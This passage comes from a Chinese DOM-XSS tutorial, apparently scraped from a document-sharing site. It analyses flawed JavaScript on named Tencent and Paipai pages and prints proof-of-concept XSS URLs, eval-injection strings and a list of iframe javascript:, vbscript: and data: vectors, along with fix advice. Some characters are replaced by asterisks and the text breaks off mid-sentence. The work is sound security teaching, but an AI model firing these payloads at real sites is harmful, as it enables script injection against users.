致location.href獲取的location.href是已經經過編碼的。從而導致未過濾。如下圖:11.按道理,location.href里的<,>,"已經變成了%3c,%3e,%22已經被過濾了,不會有*SS了,為什么還可以呢?我們進一步往后看??磥恚P鍵就是這里,這里有一步decodeURIponent的操作,會將%3c,%3e,又變回<,>供參考的完整的缺陷代碼。varsid=getUrlPara("sid");if(!sid||sid==""){document.getElementById("dv_video").innerHTML='<divclass="errmsg"style="margin-top:-10p*;">抱歉,視頻不存在!</div>';}else{varflash_ver=GetSwfVer();if(flash_ver==-1){document.getElementById("dv_video").innerHTML='<divclass="errmsg"style="margin-top:-30p*;">抱歉,您還沒有安裝flash插件<br/>請<atarget="_blank"href=".macromedia./go/getflashplayer">下載</a>10.0以上的flash播放器<br/>安裝flash后,請<ahref="javascript:location.reload();">點此刷新</a></div>';}elseif(flash_ver.split('.')[0]<10){document.getElementById("dv_video").innerHTML='<divclass="errmsg"style="margin-top:-30p*;">抱歉,您的flash版本過低<br/>請<atarget="_blank"href=".macromedia./go/getflashplayer">下載</a>10.0以上的flash播放器<br/>安裝flash后,請<ahref="javascript:location.reload();">點此刷新</a></div>';}else{sid=decodeURIponent(sid).trim().replace(/([\'\"])/g,'\\\\$1');if(!is_valid_sid(sid)){document.getElementById("dv_video").innerHTML='<divclass="errmsg"style="margin-top:-10p*;">無法打開視頻文件,視頻地址不合法!</div>';}else{insertFlash("dv_video","f",sid,"100%","100%");}}}12.接著,會調用insertFlash("dv_video","f",sid,"100%","100%");insertFlash里,也并沒有對sid進行任何過濾。functioninsertFlash(elm,eleid,url,w,h){if(!document.getElementById(elm))return;varstr='';str+='<objectwidth="'+w+'"height="'+h+'"id="'+eleid+'"classid="clsid:d27cdb6e-ae6d-11cf-96b8-0"codebase="fpdownload.macromedia./pub/shockwave/cabs/flash/swflash.cab*version=8,0,0,0">';str+='<paramname="movie"value="'+url+'"/>';str+='<paramname="allowScriptAccess"value="never"/>';str+='<paramname="allowFullscreen"value="true"/>';str+='<paramname="wmode"value="transparent"/>';str+='<paramname="quality"value="autohigh"/>';str+='<embedwidth="'+w+'"height="'+h+'"name="'+eleid+'"src="'+url+'"quality="autohigh"swLiveConnect="always"wmode="transparent"allowScriptAccess="never"allowFullscreen="true"type="application/*-shockwave-flash"pluginspage=".macromedia./go/getflashplayer"></embed>';str+='</object>';document.getElementById(elm).innerHTML=str}圖片解析:13.根據以上分析,我們的利用代碼可以寫為。注意,%3E,%3C的編碼是關鍵。qt.qq./video/play_video.htm"sid=aaaaaa%22%3E%3C/object%3E%3Cimg%20src=1%20onerror=alert(1)%3E非常值得說明的是:如果采用6.1的方法,我們得到的利用代碼是qt.qq./video/play_video.htm"sid=aaaaaa"></object><imgsrc=1onerror=alert(1)>!!這個代碼在IE下,是沒法*SS的。而通過6.2的方法,去分析JS代碼,我們則可以構造出通用的*SS代碼。qt.qq./video/play_video.htm"sid=aaaaaa%22%3E%3C/object%3E%3Cimg%20src=1%20onerror=alert(1)%3E這也反應了6.1和6.2方法各自的優(yōu)缺點。修復方案:1.修復過濾上的邏輯問題。2.注意不同瀏覽器中,location.href的不同點。10.Dom*ss進階[邂逅eval]前面的教程,說到了顯式輸出和隱式輸出。但是不論怎么樣,因為最終javascript都會通過document.write或innerHTML將內容輸出到網頁中,所以我們總是有辦法看到輸出到哪里。但是有時候,我們的輸出,最終并沒有流向innerHTML或document.write,而是與eval發(fā)生了邂逅,我們該怎么挖掘并利用呢?
詳細說明:
1.我們直接上例子。kf.qq./search_app.shtml"key=aaaaa
和前面的不同之處,這次我們搜索源代碼和調試工具都看不到任何東西。
2.這個時候,我們可以看看Console,看看有沒有其它有用的東西~~一般來說,默認情況下,是不會有問題的。我們可以給參數加一些特殊符號。這里我比較習慣用\,因為這玩意比較好使。當然你也可以用其它比較特殊的符號,比如雙引號,單引號,只是被過濾掉的幾率比較大。這個時候,我們看看Console里面,多出了一條錯誤。
我們可以點右側,直接定位到錯誤代碼。
3.點進去后,可以看到是哪個地方出錯了。
我們來看看這段代碼:vargetarg=function()
{
varurl=window.location.href;
varallargs=url.split(""")[1];
if(allargs!=null&&allargs.inde*Of("=")>0)
{
varargs=allargs.split("&");
for(vari=0;i<args.length;i++)
{
vararg=args[i].split("=");
eval('this.'+arg[0]+'="'+arg[1]+'";');
}
}
};
和上一節(jié)教程類似,這段代碼,實際上也是一個獲取地址欄參數的代碼。比如,地址欄是key=aaaa;則arg[0]就是字符串'key',arg[1]就是字符串'aaaa';則eval這句就是執(zhí)行的eval('this.key="aaaa";')
這樣一來,this.key="aaaa";這句就被執(zhí)行了。4.如果這里我們把key換個寫法呢?this.key="aaaa";this.key;alert(1);//="aaaa";如下圖:
則是不是將會執(zhí)行我們的alert(1);呢?5.根據上面內容,我們可以構造代碼。kf.qq./search_app.shtml"key;alert(1);//=aaaa
HOHO~,如我們所愿的彈出了。
6.不知道看完上面的,有沒有娃注意到,后面的aaaa不是也可以構造嗎?this.key="aaaa";換為this.key="aaa";alert(1);//";確實是如此:)kf.qq./search_app.shtml"key=aaa";alert(1);//
這個在IE下一樣是可以的。但是這樣在chrome下卻不行。原因其實上面一節(jié)教程也提到過。chrome會自動對",>,<進行轉換。因而this.key="aaa";alert(1);//";會變成this.key="aaa%22;alert(1);//";從而失效。7.上面就是本篇教程了,我們再來看看題外話。其實以上問題,不是單獨存在的。在另外一個頁面也是存在的。更多內容,參見本篇漏洞修復。
修復方案:
參照你們已經修復的類似文件即可。kf.qq./wsearch.shtml
的
kf.qq./js/wsearch.js
本來上面這個文件也是存在漏洞的,估計這個位置已經被人報告給騰訊了,因而騰訊加了一次防御。我們看看騰訊的防御措施。vargetarg=function(){
省略相同部分...
eval('this.'+arg[0]+'="'+HtmlAttributeEncode(arg[1])+'";');
省略相同部分...
}
也就是說,騰訊這里對后面的arg[1]進行了過濾。接著,這個問題又被再次報告了,因而前些時候,騰訊又進一步做了修復。vargetarg=function(){
省略相同部分...
if(arg[0]!=null&&arg[1]!=null&&(arg[0]=='page'||arg[0]=='count'||arg[0]=='tag'||arg[0]=='key'||arg[0]=='total'))
{
eval('this.'+arg[0]+'="'+HtmlAttributeEncode(arg[1])+'";');
}
省略相同部分...
}
這一次,騰訊對arg[0]進行了判斷。哈,補了東墻,補西墻。不過呢?補了這個wsearch.js文件,還有我們現在分析的這個(kf.qq./js/search_app.js)文件。11.Dom*ss進階[善變iframe]有時候,輸出還會出現在<iframesrc="[輸出]"></iframe>。iframe的src屬性本來應該是一個網址,但是iframe之善變,使得它同樣可以執(zhí)行javascript,而且可以用不同的姿勢來執(zhí)行。這一類問題,我將其歸為[路徑可控]問題。當然上面說到的是普通的反射型*SS。有時候程序員會使用javascript來動態(tài)的改變iframe的src屬性,譬如:iframeA.src="[可控的url]";同樣會導致*SS問題,來看看本例吧~詳細說明:1.先來說說iframe的變化。1.1最好懂的,onload執(zhí)行js<iframeonload="alert(1)"></iframe>1.2src執(zhí)行javascript代碼<iframesrc="javascript:alert(1)"></iframe>1.3IE下vbscript執(zhí)行代碼<iframesrc="vbscript:msgbo*(1)"></iframe>1.4Chrome下data協議執(zhí)行代碼<iframesrc="data:te*t/html,<script>alert(1)</script>"></iframe>Chrome1.5上面的變體<iframesrc="data:te*t/html,<script>alert(1)</script>"></iframe>1.6Chrome下srcdoc屬性<iframesrcdoc="<script>alert(1)</script>"></iframe>2.有興趣的,可以一個一個的去測試上面的效果,注意瀏覽器的特異性哦。3.接著我們來看看具體的例子。helper.qq./appweb/tools/tool-detail.shtml"turl=aaaaaa&gid=yl&cid=68&from=4.我們先開調試工具,看看有沒有可見的輸出??梢钥吹?,我們參數的aaaaaa被帶入到了<iframesrc="這里"></iframe>。這樣一來,就滿足了我們的使用條件。我們試試helper.qq./appweb/tools/tool-detail.shtml"turl=javascript:alert(1);&gid=yl&cid=68&from=。。竟然沒反應。我們來看看剛才的那個地方。可以看到,src這次沒屬性了,看來騰訊做了什么過濾。我們繼續(xù)搜索下一個toolframe試試。恩,看來就是這段代碼導致的。一起看看這段代碼。functionOpenFrame(url){if(url.toLowerCase().inde*Of('')!='-1'||url.toLowerCase().inde*Of('https://')!='-1'||url.toLowerCase().inde*Of('javascript:')!='-1')returnfalse;document.getElementById("toolframe").src=url;}不難看出,騰訊對javascript:做出了判斷。document.getElementById("toolframe").src=url;這句是導致*SS的一句代碼。而openFrame的url參數則來自于(無關代碼省略):...vartool_url=getQueryStringValue("turl");...openFrame(tool_url);...5.根據我們上面說道的iframe的利用方法,我們不難看出,騰訊的過濾是不完善的。在IE下,我們可以使用vbscript來執(zhí)行代碼。vbscript里'單引號表示注釋,類似JS里的//helper.qq./appweb/tools/tool-detail.shtml"turl=vbscript:msgbo*(1)'&gid=yl&cid=68&from=在chrome下,我們可以用data協議來執(zhí)行JS。helper.qq./appweb/tools/tool-detail.shtml"turl=data:te*t/html,<script>alert(1)</script>'&gid=yl&cid=68&from=6.就到這里。修復方案:危險的不光是javascript:,vbscript:,data:等同樣需要過濾。12.Dom*ss進階[路徑con]我不是蘿莉con,我是路徑con。一些程序員會動態(tài)的加載json數據,同域的時候,可以使用aja*;而有時候,數據所在域和當前頁面所在域又不一致。所以需要跨域請求??缬蛘埱髷祿氖侄沃?,有一種叫做jsonp。用代碼表示的話,就是somescript.src="otherdomain./**"jsonp=callback"*些時候,程序員會在調用外部數據的時候帶上可控的參數。somescript.src="otherdomain./**"jsonp=callback&id="+id;如果這個id我們可控,將可能帶來*SS問題。詳細說明:本次教程,就不像前面的一樣,去細說操作過程了,前面的幾次教程也基本將常用操作全部介紹到了。直接來看例子。1.在掃描過程中,經常遇到下面的例子。2.初看看,這種情況,似乎沒有什么利用價值。3.但是我們不難想象,如果這個地址是我們可控的話,一樣會帶來威脅。地址的可控可以分為3個層面。3.1scriptsrc="完全可控",這種就簡單了,直接將地址換為我們的JS地址3.2scriptsrc="/path/***/[路徑可控]/1.js"這種要利用的話,需要同域名下有可控的文件??煽匚募址譃?種。3.2.1可以直接上傳文本至同域名下,不一定要是HTML文件,需要上傳點有過濾缺陷。3.2.2參數可控,利用可用的json接口。最終變?yōu)閟criptsrc="/path/***/.../yyy/**.json"callback=alert(1)"3.3scriptsrc="/****/json.php"callback=****¶m1=yyy¶m2=[參數可控]"這種情況,和3.2.2類似,如果參數可控,且json的參數沒有很好的過濾時。我們就有機可乘了。4.本文以拍拍網一處*SS為例,來描述以上可能性。掃描器掃到的點,見步驟1中的圖。進一步,我們可以通過抓包的方式,看到頁面在打開時,所加載的外部JS文件地址。sse1.paipai./m_json"callback=mentListCallBack&dtag=1&ac=1&cluster=1&sellquality=0&NewProp=&Property=256&PageNum=1&PageSize=48&OrderStyle=80&Address=&SaleType=1°ree=1&AuthType=2&BeginPrice=&EndPrice=&KeyWord=2012%20%D0%C2&OnlineState=2&Paytype=4&ranking=&sClassid='aaaaaaaa&t=1354854681我們打開這個JSON,用掃描反射型的方式,可以測試出,callback,dtag以及ranking可控。但均無法使用<,>,也就是說,這個JSON接口本身是無*SS風險的。此外dtag,和ranking都在雙引號里面,我們在后續(xù)無法進行利用,而callback則在最前面,比較好控制。我們可以想象下,如果我們可以讓這個頁面調用:sse1.paipai./m_json"callback=alert(1);則將會產
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經權益所有人同意不得將文件中的內容挪作商業(yè)或盈利用途。
- 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
- 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 人貨梯基礎施工方案
- 2025年江西藝術職業(yè)學院單招職業(yè)傾向性考試題庫帶答案解析
- 2025年合陽縣幼兒園教師招教考試備考題庫帶答案解析
- 2025年婁煩縣幼兒園教師招教考試備考題庫含答案解析(必刷)
- 2025年華縣幼兒園教師招教考試備考題庫及答案解析(必刷)
- 2024年獲嘉縣幼兒園教師招教考試備考題庫附答案解析
- 2024年淅川縣幼兒園教師招教考試備考題庫附答案解析
- 2025年龍門縣招教考試備考題庫及答案解析(奪冠)
- 2026年岳陽現代服務職業(yè)學院單招職業(yè)傾向性測試題庫帶答案解析
- 2024年紫陽縣招教考試備考題庫及答案解析(必刷)
- 《文獻檢索與科技論文寫作入門》課件(共八章)
- 2025至2030鑄鐵產業(yè)行業(yè)市場深度研究及發(fā)展前景投資可行性分析報告
- 機電設備安裝工程中電梯系統(tǒng)全生命周期質量管控體系
- 碎石樁施工技術
- 2025年政府采購和招標法考試試題及答案
- 2025中考九年級語文《標點符號》復習練習題
- 智能化建筑機器人施工方案和技術措施
- 征兵體檢外科標準
- 4輸變電工程施工質量驗收統(tǒng)一表式(電纜工程電氣專業(yè))-2024年版
- 傳統(tǒng)元素與現代設計建筑融合創(chuàng)新
- 醫(yī)院信息安全保密協議5篇
評論
0/150
提交評論